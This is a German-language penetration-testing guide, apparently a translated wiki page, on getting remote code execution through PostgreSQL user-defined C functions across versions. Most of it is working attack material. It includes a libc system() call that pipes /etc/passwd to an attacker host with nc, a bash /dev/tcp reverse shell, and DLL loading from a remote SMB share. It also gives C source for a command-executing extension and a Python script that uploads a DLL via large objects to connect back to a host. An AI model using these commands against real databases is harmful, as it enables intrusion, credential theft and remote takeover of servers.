PostgreSQL wurde mit Erweiterbarkeit als Kernfunktion entwickelt, die es ermöglicht, Erweiterungen nahtlos zu integrieren, als wären sie integrierte Funktionen. Diese Erweiterungen, im Wesentlichen in C geschriebene Bibliotheken, bereichern die Datenbank mit zusätzlichen Funktionen, Operatoren oder Typen.
Seit Version 8.1 wird eine spezifische Anforderung an die Erweiterungsbibliotheken gestellt: Sie müssen mit einem speziellen Header kompiliert werden. Ohne diesen wird PostgreSQL sie nicht ausführen, um sicherzustellen, dass nur kompatible und potenziell sichere Erweiterungen verwendet werden.
Die Ausführung von Systembefehlen aus PostgreSQL 8.1 und früheren Versionen ist ein Prozess, der klar dokumentiert und unkompliziert ist. Es ist möglich, dieses: Metasploit-Modul zu verwenden.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Schreibe Binärdatei aus base64
Um eine Binärdatei in eine Datei in Postgres zu schreiben, müssen Sie möglicherweise base64 verwenden, das wird in diesem Fall hilfreich sein:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Allerdings wurde bei dem Versuch auf höheren Versionen der folgende Fehler angezeigt:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Um sicherzustellen, dass eine dynamisch geladene Objektdatei nicht in einen inkompatiblen Server geladen wird, überprüft PostgreSQL, ob die Datei einen „magischen Block“ mit den entsprechenden Inhalten enthält. Dies ermöglicht es dem Server, offensichtliche Inkompatibilitäten zu erkennen, wie z.B. Code, der für eine andere Hauptversion von PostgreSQL kompiliert wurde. Ein magischer Block ist seit PostgreSQL 8.2 erforderlich. Um einen magischen Block einzufügen, schreiben Sie dies in eine (und nur eine) der Modulquellcodedateien, nachdem Sie die Header-Datei fmgr.h eingebunden haben:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
Seit der PostgreSQL-Version 8.2 ist es für einen Angreifer schwieriger geworden, das System auszunutzen. Der Angreifer muss entweder eine Bibliothek verwenden, die bereits auf dem System vorhanden ist, oder eine benutzerdefinierte Bibliothek hochladen. Diese benutzerdefinierte Bibliothek muss gegen die kompatible Hauptversion von PostgreSQL kompiliert werden und muss einen spezifischen "magischen Block" enthalten. Diese Maßnahme erhöht die Schwierigkeit, PostgreSQL-Systeme auszunutzen, erheblich, da sie ein tieferes Verständnis der Systemarchitektur und der Versionskompatibilität erfordert.
Bibliothek kompilieren
Holen Sie sich die PostgreSQL-Version mit:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Für die Kompatibilität ist es entscheidend, dass die Hauptversionen übereinstimmen. Daher sollte das Kompilieren einer Bibliothek mit einer beliebigen Version innerhalb der 9.6.x-Serie eine erfolgreiche Integration gewährleisten.
Dann laden Sie die kompilierte Bibliothek hoch und führen Sie Befehle mit aus:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Sie können diese Bibliothek vorcompiliert für mehrere verschiedene PostgreSQL-Versionen finden und sogar diesen Prozess automatisieren (wenn Sie PostgreSQL-Zugriff haben) mit:
Die folgende DLL nimmt als Eingabe den Namen der Binärdatei und die Anzahl der Male, die Sie sie ausführen möchten, und führt sie aus:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Sie können die kompilierte DLL in diesem Zip finden:
Sie können dieser DLL angeben, welches Binary ausgeführt werden soll und die Anzahl der Ausführungen, in diesem Beispiel wird calc.exe 2 Mal ausgeführt:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Beachten Sie, dass in diesem Fall der schadhafte Code sich innerhalb der DllMain-Funktion befindet. Das bedeutet, dass in diesem Fall nicht notwendig ist, die geladene Funktion in postgresql auszuführen, sondern dass das Laden der DLL die Reverse-Shell ausführen wird:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Das PolyUDF-Projekt ist ebenfalls ein guter Ausgangspunkt mit dem vollständigen MS Visual Studio-Projekt und einer einsatzbereiten Bibliothek (einschließlich: command eval, exec und cleanup) mit Unterstützung für mehrere Versionen.
RCE in den neuesten PostgreSQL-Versionen
In den neuesten Versionen von PostgreSQL wurden Einschränkungen eingeführt, bei denen der superuserverboten ist, Shared Library-Dateien außer aus bestimmten Verzeichnissen zu laden, wie z.B. C:\Program Files\PostgreSQL\11\lib unter Windows oder /var/lib/postgresql/11/lib auf *nix-Systemen. Diese Verzeichnisse sind gegen Schreiboperationen durch entweder die NETWORK_SERVICE- oder postgres-Konten gesichert.
Trotz dieser Einschränkungen ist es einem authentifizierten Datenbank-superuser möglich, binäre Dateien im Dateisystem mithilfe von "Large Objects" zu schreiben. Diese Fähigkeit erstreckt sich auf das Schreiben im Verzeichnis C:\Program Files\PostgreSQL\11\data, das für Datenbankoperationen wie das Aktualisieren oder Erstellen von Tabellen unerlässlich ist.
Eine erhebliche Schwachstelle ergibt sich aus dem Befehl CREATE FUNCTION, der Verzeichnisdurchquerung in das Datenverzeichnis erlaubt. Folglich könnte ein authentifizierter Angreifer diese Durchquerung ausnutzen, um eine Shared Library-Datei in das Datenverzeichnis zu schreiben und sie dann zu laden. Dieser Exploit ermöglicht es dem Angreifer, beliebigen Code auszuführen und native Codeausführung auf dem System zu erreichen.
Angriffsfluss
Zunächst müssen Sie Large Objects verwenden, um die dll hochzuladen. Sie können sehen, wie das geht, hier:
Sobald Sie die Erweiterung (mit dem Namen poc.dll für dieses Beispiel) in das Datenverzeichnis hochgeladen haben, können Sie sie mit folgendem Befehl laden:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Beachten Sie, dass Sie die .dll-Erweiterung nicht anhängen müssen, da die Funktion create sie hinzufügen wird.
Für weitere Informationen lesen Sie dieursprüngliche Veröffentlichung hier.
In dieser Veröffentlichung wurde dies derCode verwendet, um die Postgres-Erweiterung zu generieren (um zu lernen, wie man eine Postgres-Erweiterung kompiliert, lesen Sie eine der vorherigen Versionen).
Auf derselben Seite wurde dieser Exploit zur Automatisierung dieser Technik bereitgestellt:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")